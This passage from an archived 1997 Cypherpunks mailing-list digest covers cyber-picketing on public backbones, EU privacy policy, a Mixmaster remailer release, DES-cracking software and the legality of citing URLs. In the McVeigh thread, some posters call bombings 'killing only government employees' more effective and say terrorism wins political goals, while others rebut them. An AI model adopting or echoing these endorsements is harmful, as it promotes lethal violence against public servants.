Subject: Re: Webpage picketing > > > Pickets arise from a peculiar set of circumstances that arise in > > meatspace, including public streets. Sure, you can picket The Gap at the > > store up the block from my office on Connecticut Avenue. But try to wave > > those signs outside The Gap in the Pentagon City mall not far away, and > > you'll be chased off by the security guards. It's a private space; > > different rules apply. > > Pickets arise from people getting pissed off about some aspect of their > economic life and using their right to free speech to express it. > > Absolutely, but I can most definitely picket the mall and the store at that > point with complete impunity from the sidewalk. And please correct me if my > geometry/geography is wrong, but in order to get into the private parking > spot at the private mall you do have to drive off the public street ACROSS > the public sidewalk where all those picketers are standing. After all, if > the mall won't let me express my opinions then I have an economic right as > a consumer to express my displeasure and try to warn other consumers of the > danger. It is irrelevant to my goal as a economic consumer whether I picket > the store inside the mall or outside. What IS important is that I have legal > access to ALL the customers using that business(es). > > > And I think that we should be very careful about calling the Net a public > > forum. Sure, places like Usenet resemble a public forum in some ways, but > > it's not the same. > > But I am not calling the net a public forum. I am specificaly talking about > a special case that might arise if we are not aware of the consequences. In > short it is a statement that it MIGHT be possible to use publicly funded > network backbones to seriously impede communication using the system against > itself. > > > I think Greg has it right: you want to forcibly intervene in a > > communication between two consenting parties. What you want is similar to > > the right to come into my home and prevent me from speaking freely to my > > friend or lover. > > Not at all, unless you are implying the same expectation of privacy on a > public street (or backbone) that you would get in your home (or intranet). > I am stating the status quo, the level of expectant privacy on a public > street (internet) is in no way nearly as comprehensive as in your home > (intranet). Should you doubt this, walk around your living room with the > blinds drawn butt-naked and then try that again in the middle of downtown > at 5pm. If you want to go to store A and it is covered in picketers, you > WILL hear and see them even if you don't want to. Their right to speech is > such that if you want to use that business you must submit to an exposure of > their views however brief. My thesis is that it may be possible to extend > this legaly supportable model to a backbone which derives some or all of its > income from public funds. This could be a BAD thing, is it and why?. If it > is acceptable use of publicly funded resources in meatspace why should > publicy funded resources in bitspace be exempted? No more, no less. > > _______________________________________________________________________ > | | > | Speak the truth, but leave immediately after. | > | | > | Slovenian Proverb | > | | > | Jim Choate ravage at ssz.com | > | The Armadillo Group www.ssz.com | > | Austin, Texas, USA 512-451-7087 | > |_______________________________________________________________________| > > From ryan at michonline.com Wed Jun 4 07:33:27 1997 From: ryan at michonline.com (Ryan Anderson) Date: Wed, 4 Jun 1997 22:33:27 +0800 Subject: Profanity, PCS phones, and FCC In-Reply-To: <3.0.2.32.19970604013225.007eb590@descartes.bluemoney.com> Message-ID: On Wed, 4 Jun 1997, Jeremey Barrett wrote: > Well I went and got a PCS phone (Ericsson), and was pilfering through the > manual, and came across this amusing text in the "Operating procedures" > section of the "Guidelines for Safe and Efficient Use": [snip] > o Use of profane, indecent, or obscene language while using your > phone. > Joy. More laws to break. I believe this has been true about your regular phone line for years as well. It's unenforceable, and as a practical matter the FCC isn't going to care, *EVER* about it. ----------------------------------------------------------------------- Ryan Anderson - "Who knows, even the horse might sing" Wayne State University - CULMA "May you live in interesting times.." ryan at michonline.com Ohio = VYI of the USA PGP Fingerprint - 7E 8E C6 54 96 AC D9 57 E4 F8 AE 9C 10 7E 78 C9 ----------------------------------------------------------------------- From ravage at EINSTEIN.ssz.com Wed Jun 4 07:33:35 1997 From: ravage at EINSTEIN.ssz.com (Jim Choate) Date: Wed, 4 Jun 1997 22:33:35 +0800 Subject: Webpage picketing (fwd) Message-ID: <199706041340.IAA01267@einstein.ssz.com> Hi, Forwarded message: > Date: Wed, 4 Jun 1997 09:06:19 -0400 (EDT) > From: Declan McCullagh > Subject: Re: Webpage picketing (fwd) > Jim's fundamental misunderstanding below seems to be, as far as I can > tell, confusing public funding with public forums. What is amazing is your denying there is any sort of connection at all. I am not claiming that they are 1-to-1 as you would have readers believe but rather one brings along certain rights for the user from the other area. One of those rights is going to be protection of their civil liberties. Your tacit assertion that simply because some resource receives public money does not affect the civil or criminal aspect at all is also misleading. > Just because an entity > receives most, or all, of its funding from the state does not mean that > that entity or the service that entity provides becomes a public forum for > the purposes of First Amendment analysis. BUT, and you seem unable to grasp this important concept, its users DO receive such extra protection over and above a solely private resource. This means that communictions BETWEEN said users will ALSO gain that protection. Now it seems plain to me that if the reader sends a packet over that network link, the server sends a packet over that same network in responce a third party on that link with a CIVIL interest in the content of that exchange may be able to force a minimal level of communications because they ALSO use that link and have a vested interest in what the server is sending over that link publicly. > After all, many research > universities receive half their revenues from Federal grants but they do > not become public fora. I suppose part of the analysis in this case might > turn on whether the state is setting up such networks itself and "owning" > them or whether it's providing grants to a private entity. If the government owns the link, say between Salt Lake and Chicago, wholely then there is most definitely a comparison to be made. Even if the funding is only partial that still brings along additional contractual obligations for the operators in regards to civil rights and legal protections. I could see them taking the end-point servers over on national security grounds (like civilian airport radio equipment or the telephone) in regards to breeches or damages against the servers. Shoot, they could integrate them into the EBS (or whatever they are calling it this week). That could mean that ANY hacking that was carried would automaticaly involve the government on national security grounds ("Damn, I wish I hadn't changed my password without writing it down!..."). THAT is just way too Red Scare for me. > Again, the Internet is not a public street. Yes, and your point? It can't be that a specific backbone cable between two cities owned by the government is equivalent to the Internet in toto, even conceptualy. Because it is clear that such a construct is equivalent to the publicly funded highway running between the same cities, and you most definitely CAN picket on a highway easment legaly. I have seen farm workers in Texas do it my entire life. The Info-Highway comparison goes a LOT farther than most people seem to have taken it. I personaly, don't think we should go there in the case of communications technology. _______________________________________________________________________ | | | Speak the truth, but leave immediately after. | | | | Slovenian Proverb | | | | Jim Choate ravage at ssz.com | | The Armadillo Group www.ssz.com | | Austin, Texas, USA 512-451-7087 | |_______________________________________________________________________| From ravage at EINSTEIN.ssz.com Wed Jun 4 07:49:54 1997 From: ravage at EINSTEIN.ssz.com (Jim Choate) Date: Wed, 4 Jun 1997 22:49:54 +0800 Subject: Webpage picketing?... (fwd) Message-ID: <199706041411.JAA01411@einstein.ssz.com> Forwarded message: > Date: Tue, 3 Jun 1997 16:02:02 -0700 > Subject: Re: Webpage picketing?... > From: nobody at huge.cajones.com (Huge Cajones Remailer) > > You may dislike > > one of the sites linking to yours, but you really can't hijack their > > connections and force people to listen to you who don't want to. > > Wrong! It's done every day in every media from newspapers to TV > and points in between, including the InterNet. > I have a lot of respect for Peter's work, opinions and for his > integrity, but my perception is that he fails to understand that > the InterNet is a growing mosaic which can and should reflect > *all* of life, and that his perception of what the InterNet is > and should be somehow dictates what should and should not be > done on the InterNet. > I think that what should be done on the InterNet is exactly > what people *want* to do. It is up to their own conscience as > to whether their actions are done with integrity and up to the > rest of us to interpret and respond to those actions. Agreed. However, I see a situation happening akin to a sheeple goes into the public library and checks out a book on pro-life politics and because of excessive civil liberty protection is then required to also check out a book on pro-abortion to make shure they are informed. _______________________________________________________________________ | | | Speak the truth, but leave immediately after. | | | | Slovenian Proverb | | | | Jim Choate ravage at ssz.com | | The Armadillo Group www.ssz.com | | Austin, Texas, USA 512-451-7087 | |_______________________________________________________________________| From rah at shipwright.com Wed Jun 4 08:06:18 1997 From: rah at shipwright.com (Robert Hettinga) Date: Wed, 4 Jun 1997 23:06:18 +0800 Subject: Rotenberg or Berman? (was Re: e$: Beltway piglets and otherbarnyard animals) In-Reply-To: Message-ID: At 8:54 am -0400 on 6/3/97, Declan McCullagh wrote: > This is a crucial point. Rotenberg != Berman. To quote that great Tory, the late Francis Uquhart: "You may say that. I couldn't *possibly* comment." ;-). Of course dear old FU usually used that phrase in false denial. I have no such intention here... Cheers, Bob ----------------- Robert Hettinga (rah at shipwright.com), Philodox e$, 44 Farquhar Street, Boston, MA 02131 USA "... however it may deserve respect for its usefulness and antiquity, [predicting the end of the world] has not been found agreeable to experience." -- Edward Gibbon, 'Decline and Fall of the Roman Empire' The e$ Home Page: http://www.shipwright.com/ From whgiii at amaranth.com Wed Jun 4 08:25:50 1997 From: whgiii at amaranth.com (William H. Geiger III) Date: Wed, 4 Jun 1997 23:25:50 +0800 Subject: Webpage picketing (fwd) Message-ID: <199706041504.KAA17624@mailhub.amaranth.com> -----BEGIN PGP SIGNED MESSAGE----- In <199706041340.IAA01267 at einstein.ssz.com>, on 06/04/97 at 08:40 AM, Jim Choate said: >Yes, and your point? It can't be that a specific backbone cable between >two cities owned by the government is equivalent to the Internet in toto, >even conceptualy. Because it is clear that such a construct is equivalent >to the publicly funded highway running between the same cities, and you >most definitely CAN picket on a highway easment legaly. I have seen farm >workers in Texas do it my entire life. The Info-Highway comparison goes a >LOT farther than most people seem to have taken it. I personaly, don't >think we should go there in the case of communications technology. I think that your analogy is slightly flawed. While the farmers have a right to protest on the side of the road they do not have a right to interfere with the travelers on the road. There is no real way you could picket on the "Info highway" as you have no right to interfere with the packets traveling on the highway. You can stand of to the side if you want but somehow I don't think that the packets will be watching. :) - -- - --------------------------------------------------------------- William H. Geiger III http://www.amaranth.com/~whgiii Geiger Consulting Cooking With Warp 4.0 Author of E-Secure - PGP Front End for MR/2 Ice PGP & MR/2 the only way for secure e-mail. OS/2 PGP 2.6.3a at: http://www.amaranth.com/~whgiii/pgpmr2.html - --------------------------------------------------------------- -----BEGIN PGP SIGNATURE----- Version: 2.6.3a Charset: cp850 Comment: Registered_User_E-Secure_v1.1b1_ES000000 iQCVAwUBM5WEDo9Co1n+aLhhAQHT9gQAiqRoXBaHX6AqKhZD/xXOBy2LAkRv7cAx j0QCvM0LCHK/MYvlwEZsNbraiYDgii+ZBbI2M7cVZkdtb0H5I+TVZE5pwyXEtbub cTA1kMW35QIQKzS1tvG/Xorej8wAjOU6c/wKEV3JmhpPcQqIfz+5XHKst3vJB5Pr vNy0jXsi9m4= =0Zb4 -----END PGP SIGNATURE----- From frissell at panix.com Wed Jun 4 08:29:18 1997 From: frissell at panix.com (Duncan Frissell) Date: Wed, 4 Jun 1997 23:29:18 +0800 Subject: Europrivacy In-Reply-To: Message-ID: <3.0.2.32.19970604104626.035ebb28@panix.com> -----BEGIN PGP SIGNED MESSAGE----- At 09:13 AM 6/3/97 -0500, Marc Rotenberg wrote: >http://wwww.wired.com/wired/4.05/idees.fortes/eurocrats.html > >Eurocrats Do Good Privacy > >Marc Rotenberg > > It shows that governments, at least some >governments, can be a force for progress in the crypto > world. We're talking here about governments where unlicensed crypto is a crime. Or other countries where anonymity is illegal. Give me a break. > Reread that sentence. It is not conventional wisdom in the United >States. Cyberlibertarians have been unrelenting in > their opposition to any federal role in crypto policy. Free >marketers argue simply that there is no place for government > in the development of high-tech products. Cyberanarchists seem to >doubt whether there is any role at all for > government. And EPIC (nee CPSR) and CD&T are run by Left pro-government types who like big governments and high taxes. So we're even. > But the recent European experience should give pause to these allies >in the battle for online privacy. Not only are > European officials at the highest levels prepared to embrace >technologies of privacy, they have almost uniformly > opposed US-inspired surveillance schemes such as Clipper. So are they going to give up their street cameras, address registration (in Belgium, you can't get the gas service turned on in your flat if you haven't registered with the commune -- but you can get electricity), occupational licensure (of *all* occupations as in Germany), national ID cards, Financial Police (Italy), computer registration, piles of mandatory paperwork, etc.? > Two recent reports are indicative. In "Privacy-Enhancing >Technologies: The Path to Anonymity," the Netherlands and > the Canadian province of Ontario call for an exploration of new >technologies to promote privacy. They could just repeal their privacy invading laws and regs. No new technology needed. > It doesn't have to be this way. The reality of modern society is >that government officials make decisions every day > about the rights of citizens. And with modern technology, we turn right around and make decisions on the rights of governments. > not. Compared with governments that lack privacy officials, >governments that have privacy officials have repeatedly > weighed in favor of privacy interests. Then why do Europeans have *much* less privacy than Americans. Tiny example. In much of Europe, if mail coming to your flat is not addressed to the name on the mailbox, it doesn't get delivered. In the U.S., the P.O. still tends to deliver as addressed and let the occupants sort it out. Somewhat looser. DCF -----BEGIN PGP SIGNATURE----- Version: 5.0 beta Charset: noconv iQCVAwUBM5V/wIVO4r4sgSPhAQFxPgQAxujIQM+Mmph/l+byrW1AppuOi4t8AedG QjDblzmmk7uJT8n7UqK9wV8H8mT0ANHWesrYWKyzADbwHxwa6LuCUzfLnWSTYvZn EhAIHV00z9zOSP8xlH2Sj9eEQ+JReX3QKLhN87FxyCmJY5S+9o0/TqJUmshKgh8m LDbeHpBBe9Y= =KHsl -----END PGP SIGNATURE----- From whgiii at amaranth.com Wed Jun 4 08:31:59 1997 From: whgiii at amaranth.com (William H. Geiger III) Date: Wed, 4 Jun 1997 23:31:59 +0800 Subject: McVeigh Message-ID: <199706041455.JAA17498@mailhub.amaranth.com> -----BEGIN PGP SIGNED MESSAGE----- In <19970603165035.36961 at bywater.songbird.com>, on 06/03/97 at 04:50 PM, Kent Crispin said: >On Tue, Jun 03, 1997 at 06:43:10PM +0000, Paul Bradley wrote: [...] >> > McVeigh ripped the heart out of the militia movement, he demonstrated >> > what it was really about. Ironically the Oaklahoma bombing may have >> > had precisely the effect McVeigh desired but in a very different >> > sense. It was a wake up call to defend the country from fascism >> > but the fascist threat was McVeigh and the millitia movement. >> >> Of course, if the militia movement were to have any effect a concentrated >> effort or even a few bombings killing only government employees would >> have been a better course of action. >*Any* such violence on the part of militia movements will only generate >sympathy for the victims, and harm the movement more than it helps. Perhaps perhaps not. Taking a look at modern history would show other wise. IRA activities brought England to the bargining table though talks have currently staled. Jews bombing and attacks against the brittish finaly brought about their independance. Palisinian's continued violance has brought the Israelies to the bargining table and eventually will lead to an independant Palistinain state. "Terrorist" activities of the Contras finally brought free elections to Nicaragua. Many such terrorist activities have brought political sucess to the groups supporting them. >> > recovered from the beer hall putsch. Alternatively they can >> > loudly claim that McVeigh was "framed" in the same way that >> > other neo-NAZIs on the net claim the holocaust a fake, i.e. >> > so that nobody really believes it. I suspect that this script >> >> The militias would be better to disown McVeigh and condemn his alleged >> actions because he killed innocents. >But they won't, because they are pathetic insects drawn to the candle >flame of violence. Contrast that with the brilliance of the anarchist >Eward Abbey in "The Monkey Wrench Gang", where the anti-government acts >were calculated to call forth popular support. Hmmm I see to recall that the Brittish Empire showed the same contempt for a group of fredom loving Americans 200yrs ago. :) - -- - --------------------------------------------------------------- William H. Geiger III http://www.amaranth.com/~whgiii Geiger Consulting Cooking With Warp 4.0 Author of E-Secure - PGP Front End for MR/2 Ice PGP & MR/2 the only way for secure e-mail. OS/2 PGP 2.6.3a at: http://www.amaranth.com/~whgiii/pgpmr2.html - --------------------------------------------------------------- -----BEGIN PGP SIGNATURE----- Version: 2.6.3a Charset: cp850 Comment: Registered_User_E-Secure_v1.1b1_ES000000 iQCVAwUBM5WCJo9Co1n+aLhhAQGglAQAp3w7RJHMBvQNNUXn6khE/0aQ+buK2UAt RevKefhETe7uNTniwiwTxy5ZzdjAfYK/VoEPENfAJOeVZI88ary9qisVrMHR/Vco 8ID0UW7HlOfpkAwGOcrvXeTHWMempdgPDMzBnQrOFQ2xobS1cKuk562QUbe+qXNN itmlrhCLLAU= =LdVz -----END PGP SIGNATURE----- From jer+ at andrew.cmu.edu Wed Jun 4 08:42:41 1997 From: jer+ at andrew.cmu.edu (Jeremiah A Blatz) Date: Wed, 4 Jun 1997 23:42:41 +0800 Subject: McVeigh In-Reply-To: <3393682D.167E@ai.mit.edu> Message-ID: <0nZMXF200YUg07xmg0@andrew.cmu.edu> Bill Frantz writes: > At 4:50 PM -0700 6/3/97, Kent Crispin wrote: > >Contrast ["milita violence"] with the brilliance of the anarchist > >Eward Abbey in "The Monkey Wrench Gang", where the anti-government > >acts were calculated to call forth popular support. > If you at least avoid killing people, then you have fewer bitter enemies > and a better chance of holding on to your winnings. The examples of > Gandhi, King, and Mandala come to mind. Contrast their success with the > results of the violence approach as exemplified by the generations old wars > in Ireland and Israel. You left out Sea Shepard, who sank the entire Icelandic whaling fleet (with zero casualties) on night. Earth First!, Greenpeace, and other somewhat-less-direct action groups have used "terrorist" means and achieved enourmous popular support. Jer "standing on top of the world/ never knew how you never could/ never knew why you never could live/ innocent life that everyone did" -Wormhole From trei at process.com Wed Jun 4 08:46:05 1997 From: trei at process.com (Peter Trei) Date: Wed, 4 Jun 1997 23:46:05 +0800 Subject: Webpage picketing (fwd) Message-ID: <199706041452.JAA01618@einstein.ssz.com> Jim writes: [Jim wants to be able to 'cyber-picket' - force people to read his opinions before they can browse sites he does not like. He is attempting to claim that the net backbones corrospond to public spaces, where his local government permits him to picket.] > Declan writes: >> And I think that we should be very careful about calling the Net a public >> forum. Sure, places like Usenet resemble a public forum in some ways, but >> it's not the same. > > But I am not calling the net a public forum. I am specificaly talking about > a special case that might arise if we are not aware of the consequences. In > short it is a statement that it MIGHT be possible to use publicly funded > network backbones to seriously impede communication using the system against > itself. >> I think Greg has it right: you want to forcibly intervene in a >> communication between two consenting parties. What you want is >> similar to the right to come into my home and prevent me from >> speaking freely to my friend or lover. 'Publically funded network backbones'? Can you name one (in the US)? NSFnet and ARPAnet are long dead. Back when they were active, there was considerable debate about the legality of commercial speech on the net, and earlier, doubts about the legality of any traffic (including private email) which was not in support of government funded research. (the first big mailing list, the SF-Lovers Digest, had a quasi-underground existence for many years due to this worry). Jim also writes: >Lack of public space may be the saving grace, unfortunately there is >quite a bit of involvment planned by Uncle Sam if I am not >mistaken...Internet II... V-II Chip... GAK... ITAR... That >supercomputer science network thingy... None of which have the slightest relevance - Internet II is a proposed (and still vaporware) project for an academic-research-only network - it's future existence has no impact on those of us using the private backbone system of today. Ditto that 'supercomputer science network thingy' you mention, which I suspect is the same thing. As for "V-II Chip... GAK... ITAR": The fact that some people in government propose unconstitutional regulations, unworkable technologies, and policies which work against the public interest is not a basis to propose further undesirable policies. Question: if you get the ability to put up your 'cyber-picket' frame, how about cyber-counter-pickets? Cant the picketee put a page in front of yours? Who gets priority? Where does it stop? Jim, your idea is roadkill on that horribly imprecise analogy, the 'information superhighway' (spit). It can't be resuscitated by asking for 'information super-sidewalks' or claiming the existance of 'information super-public-spaces'. The underlying metaphor is fatally flawed. Peter Trei trei at process.com Disclaimer: These are my own opinions only. From jad at dsddhc.com Wed Jun 4 08:50:27 1997 From: jad at dsddhc.com (John Deters) Date: Wed, 4 Jun 1997 23:50:27 +0800 Subject: Webpage picketing (fwd) In-Reply-To: <199706040442.XAA00428@einstein.ssz.com> Message-ID: <3.0.1.32.19970604103432.00a8b300@labg30> At 11:42 PM 6/3/97 -0500, Jim Choate wrote: >Pickets arise from people getting pissed off about some aspect of their >economic life and using their right to free speech to express it. A solution that doesn't involve legislation (the only kind to promote, IMHO) would be to have a www.socially-aware.org site containing the links to the various businesses, where your picketers can plant their signs, etc. Then, as a socially-aware consumer, I would begin my surfing at www.politically-correct.org, read the union notices, the PETA notices, etc., and then connect to www.beef-n-fur.com via their links. This is a win-win-win type solution. Best of all, there are no legal intrusions being thrust upon anyone. If I'm Joe Sixpack, paid my union dues for the last 25 years, I'm sure as hell going to go through the www.labor.com page to check out the retailers before shopping there. If I'm Jane Greene, I'm gonna make sure no baby seals were clubbed in the making of my hemp shoes, so I'll do my surfing through links from www.green.org's web site. And, if I'm one of the other 80% of the people who don't give a damn about union labor problems, baby seals, or the plight of migrant grape pickers, it'll save me the trouble of ignoring them as I walk by. So what if they only get to preach to the choir? What about the rights of the atheist to not have preaching in their private home, on their modem? (This brings to mind another solution: "The Christian IP Network. Guaranteed to not deliver unto you the E-vil packets of the Demons of Pornographers, Terrorists, Narcotics Traffickers, Money Launderers or Cypherpunks. We're the ISP that delivers only Family-Valued, God-Blessed and Jesus-Approved packets to your customers. Send lots of money now, censors are standing by." Hey, if they want to hide behind a whole firewall full of censors, that's just fine by me.) If Organized Labor or VerdurePax wants to start doing something like this today, they're certainly welcome to do it. For all I know, they might be doing it now. That's the beauty inherent in the system -- if I don't personally care about their issues, they're not sucking up my bandwidth with their propaganda. And say what you like about free speech, since I have to pay MONEY and waste my time on my modem connection, I have the right to not download the bits I don't care about. John -- No one's right to free speech was trampled on by the existence of this e-mail. Either you've voluntarily subscribed to a mailing list that delivers it, or you're voluntarily reading it in a publically available newsgroup or mirror. From dlv at bwalk.dm.com Wed Jun 4 09:00:18 1997 From: dlv at bwalk.dm.com (Dr.Dimitri Vulis KOTM) Date: Thu, 5 Jun 1997 00:00:18 +0800 Subject: Profanity, PCS phones, and FCC In-Reply-To: <3.0.2.32.19970604013225.007eb590@descartes.bluemoney.com> Message-ID: <3LwR8D2w165w@bwalk.dm.com> Jeremey Barrett writes: > > Well I went and got a PCS phone (Ericsson), and was pilfering through the > manual, ^^^^^^^^^ Are you a native speaker of English, Jeremy? --- Dr.Dimitri Vulis KOTM Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps From fredr at joshua.rivertown.net Wed Jun 4 09:02:12 1997 From: fredr at joshua.rivertown.net (Fred B. Ringel) Date: Thu, 5 Jun 1997 00:02:12 +0800 Subject: ANNOUNCE: Mixmaster 2.0.4 beta available (fwd) Message-ID: <3.0.2.32.19970604112443.007c4520@smtp1.abraxis.com> Hi all- No warranties or representations regarding this announcement, however I thought some on the list might find this of interest. I'm putting mine together right now. Fred ---------- Forwarded message ---------- Date: Wed, 4 Jun 1997 03:25:08 +0200 (MET DST) From: Name Withheld by Request Subject: ANNOUNCE: Mixmaster 2.0.4 beta available This is to announce the release of Mixmaster 2.0.4 beta. Mixmaster is a new class of anonymous remailers. Inspired by the existing "cypherpunk" remailers and discussions on the Cypherpunk mailing list, Mixmaster is the next generation in the evolution of remailer technology. Mixmaster is available from: ftp://ftp.replay.com/pub/replay/pub/remailer/Mix-204b1.tar.gz What's new? - several bug fixes. - "middle only" remailer. - messages compression. - support for /dev/random. - rudimentary support for the list of reliable Mixmaster remailers. - new installation script. - can be compiled under DOS/Windows. Mixmaster is (C) by Lance Cottrell . This release was made by Ulf M�ller . From trei at process.com Wed Jun 4 09:33:07 1997 From: trei at process.com (Peter Trei) Date: Thu, 5 Jun 1997 00:33:07 +0800 Subject: DES [Was: Re: Webpage picketing?...] Message-ID: <199706041540.IAA14829@toad.com> (maybe) TruthMonger (maybe not) wrote: >[lots of editing] > I used Peter Trei and others' software for the DES Challenge, > but I posted a suggestion to the list that perhaps their programs > contained subterfuge designed to thwart others in their attempts > to find the secret keys. Was I spreading FUD? The responses to > my post gave me much more information about the processes behind > the software than any direct inquiries I had made about their > workings. (And they reinforced the fact that "blind trust" in > their programs or anyone else's is foolish.) > I could put a pointer to Peter's software which opens an > adjoining window which warns that it may be compromised as a > result of ulterior motives. The fact is, however, that Peter > might himself put a disclaimer on his page saying, "If you > can't read code, then you can't be certain of what my software > is doing." (As a matter of fact, I believe his documentation > mentions that there is no guarantee his logic is not in error.) TM: Yes, you were spreading FUD, of a particularly stupid kind. I've always distributed my DES cracking software with full source code, as well as a compilied Wintel version. Anyone who wants to can examine the source and compile it independently if they worry about a mismatch between the source and the included binary. Sven Mikkelsen (http://inet.uni-c.dk/~svolaf/des.htm) has now published full source for BrydDES was well. It runs faster than my code, but is only for x86 (mine includes generic 'C'). If you want to participate in a coordinated attack, and don't mind using a binary-only client, see. http://www.frii.com/~rcv/deschall.htm. This effort claims to have already searched 15% of the keyspace. For overall info on the DES challenge, see http://www.eskimo.com/~joelm/des.html Peter Trei trei at process.com From dlv at bwalk.dm.com Wed Jun 4 09:33:58 1997 From: dlv at bwalk.dm.com (Dr.Dimitri Vulis KOTM) Date: Thu, 5 Jun 1997 00:33:58 +0800 Subject: McVeigh In-Reply-To: <3.0.2.32.19970603234401.03ccf980@panix.com> Message-ID: frissell at panix.com writes: > Circa 1974, I was sitting in my law school lounge watching "The Charge of the > Light Brigade" starring Errol Flynn on TV. There was a group of other > students there. Then came the line from the film: "Men, we're going to show > these Turks that you can't murder innocent women and children and live to > boast about it (a British garrison had been attacked, which led to the > Charge). I immediately piped up, "That's funny, George McGovern did!" I haven't seen the movie, but my recollection is that in real life the British were attacking the Russians. See, the Turks were killing Xians in the Balkans, and the Russians foolishly tried to protect them, and the British stepped in to protect the Turks. Maybe they changed it all in the movie version (can't expect U.S. moviegoers to follow 19th century politics). --- Dr.Dimitri Vulis KOTM Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps From tcmay at got.net Wed Jun 4 09:53:02 1997 From: tcmay at got.net (Tim May) Date: Thu, 5 Jun 1997 00:53:02 +0800 Subject: Hacker Links page (fwd) Message-ID: I sent this out last night, leaving the Cypherpunks distribution as "cypherpunks at einstein.ssz.com." Alas, it does not seem to have propagated to my site. So here it is: >Date: Tue, 3 Jun 1997 19:09:30 -0700 >To: Jim Choate , cypherpunks at einstein.ssz.com >(Cypherpunks Distributed Remailer) >From: Tim May >Subject: Re: Hacker Links page (fwd) >Cc: >Bcc: >X-Attachments: > > >When I was on the Cyberial-l list, for lawyers and others interested in >cyberspace law issues, this issues of URLs being infringements came up a >couple of times. > >I think the answer is very clear: nobody needs permission of others to >print URLs. > >URLs are like footnotes. They are not actually links or tunnels of any >sort. They are just like "machine readable footnotes." If I refer a reader >to "Applied Cryptography," either by citing the book title and ISBN numer, >I do not need the permission of Bruce Schnier to cite this information. No >copyright law has ever been held to apply to the recitation of such cites. > >A URL is just an address, much like a ISBN number. > >In modern browsers, clicking on such a URL may be perceived as "taking you >there," and in some sense it does. But what the clicking really does is to >invoke the commands needed to send stuff to the address specified in a URL >and ask that site to send some stuff back. > >Jim and others know this, of course, so I am not lecturing them. Rather, I >am framing the debate in terms that copyright lawyers will surely >understand. > >Now, it may be true that Don Lancaster has decided, for example, that he >doesn't "like" the association of his URL with "hacker" topics. Too bad. > >It would be no different if Lancaster were to object to Timothy McVeigh >providing a reference or footnote to Lancaster's "The TTL Cookbook." Even >if McVeigh were to say he found the "TTL Cookbook" essential for building >bomb timers. (Not that far-fetched, actually.) > >"Fair use" extends to even including chunks of another's writing for >purposes of comment, critique, agreement, discussion, etc. It clearly then >applies to cites of the author's books. > >And more than just "fair use," citing the influence of others and saying >where more information can be found is the essence of free speech. > >(Which means I have the feeling Electronic Frontiers Georgia may be >entering the case on the side of Lancaster!) > >And Lancaster's choice to make his URL publically accessible means that >anyone can click on it. Open and shut. > >--Tim May > > There's something wrong when I'm a felon under an increasing number of laws. Only one response to the key grabbers is warranted: "Death to Tyrants!" ---------:---------:---------:---------:---------:---------:---------:---- Timothy C. May | Crypto Anarchy: encryption, digital money, tcmay at got.net 408-728-0152 | anonymous networks, digital pseudonyms, zero W.A.S.T.E.: Corralitos, CA | knowledge, reputations, information markets, Higher Power: 2^1398269 | black markets, collapse of governments. "National borders aren't even speed bumps on the information superhighway." From hallam at ai.mit.edu Wed Jun 4 10:07:21 1997 From: hallam at ai.mit.edu (Hallam-Baker) Date: Thu, 5 Jun 1997 01:07:21 +0800 Subject: McVeigh In-Reply-To: <199706032156.RAA11085@muesli.ai.mit.edu> Message-ID: <33959602.41C6@ai.mit.edu> Mike Duvos wrote: > No government can afford to behave in a way that outrages large numbers of > citizen-units, and provokes action on the part of the less mentally stable > ones. Janet Reno sealed the fate of the federal building on the day that > she took action which resulted in numerous children being incinerated, > just so she could win a dicksizing contest with a religious extremist. Crap. The kids were murdered by Koresh who had the compound set alight. I've gone over the videos we made live off CNN. There is absolutely no doubt that the fire started in multiple places. If you are going to mouth off conspiracy theories at least make them credible. If a group of people shoot anyone approaching them for any reason whatsoever the police have an absolute need to investigate. There was nothing else the authorities could have done except prevent Koresh from accumulating the arms in the first place. The FBI bungled the seige baddly but thats why Freeh is currently in charge of the FBI. Phill From tcmay at got.net Wed Jun 4 10:10:28 1997 From: tcmay at got.net (Tim May) Date: Thu, 5 Jun 1997 01:10:28 +0800 Subject: Profanity, PCS phones, and FCC In-Reply-To: <3.0.2.32.19970604013225.007eb590@descartes.bluemoney.com> Message-ID: At 7:03 AM -0700 6/4/97, Ryan Anderson wrote: >On Wed, 4 Jun 1997, Jeremey Barrett wrote: > >> Well I went and got a PCS phone (Ericsson), and was pilfering through the >> manual, and came across this amusing text in the "Operating procedures" >> section of the "Guidelines for Safe and Efficient Use": >[snip] >> o Use of profane, indecent, or obscene language while using your >> phone. >> Joy. More laws to break. > >I believe this has been true about your regular phone line for years as >well. It's unenforceable, and as a practical matter the FCC isn't going >to care, *EVER* about it. I notice that a *lot* of just such "unenforceable and they don't really care" things got added to the laundry list of thought crimes in Jim Bell's case. Lots of laws ensure that citizen-units are always guilty of something. --Tim May There's something wrong when I'm a felon under an increasing number of laws. Only one response to the key grabbers is warranted: "Death to Tyrants!" ---------:---------:---------:---------:---------:---------:---------:---- Timothy C. May | Crypto Anarchy: encryption, digital money, tcmay at got.net 408-728-0152 | anonymous networks, digital pseudonyms, zero W.A.S.T.E.: Corralitos, CA | knowledge, reputations, information markets, Higher Power: 2^1398269 | black markets, collapse of governments. "National borders aren't even speed bumps on the information superhighway." From hallam at ai.mit.edu Wed Jun 4 10:17:43 1997 From: hallam at ai.mit.edu (Hallam-Baker) Date: Thu, 5 Jun 1997 01:17:43 +0800 Subject: McVeigh In-Reply-To: <199706030603.CAA22498@dhp.com> Message-ID: <33959B0B.167E@ai.mit.edu> Paul Bradley wrote: > > > Hallam-Baker, realizing he is a soft target, wrote: > I would say that the visible and government-vilified militia groups have > been damaged by this, because of the killing of innocents. Where is the > second AP bot, I know about the one at sympatico....... I find it very hard to credit people as being opposed to censorship when they make thinly veiled threats of murder when people post things they don't like. This is the type of censorship that the IRA uses in NI, Catholics who join organisations opposed to the IRA get death threats and threats of punishment beatings. When the parents of the five year old murdered by an IRA bomb placed in a rubish bin outside a McDonalds announced a US speaking tour the IRA threatened to murder them. Murdering your opponents for what they say is censorship. Bell's Murder Politics scheme was a censorship scheme. The fact that Miltia sympathisers condone censorship through murder while fulminating at censorship by governement does not surprise me in the least. i can guess that someone will try to redefine censorship to exclude death threats. It is precisely beause of this type of behaviour that people consider the militias and their sympathisers to be fascist in nature and a threat to the values they claim to defend. Phill From tcmay at got.net Wed Jun 4 10:27:02 1997 From: tcmay at got.net (Tim May) Date: Thu, 5 Jun 1997 01:27:02 +0800 Subject: Who "invented" remailers? In-Reply-To: Message-ID: At 1:06 AM -0700 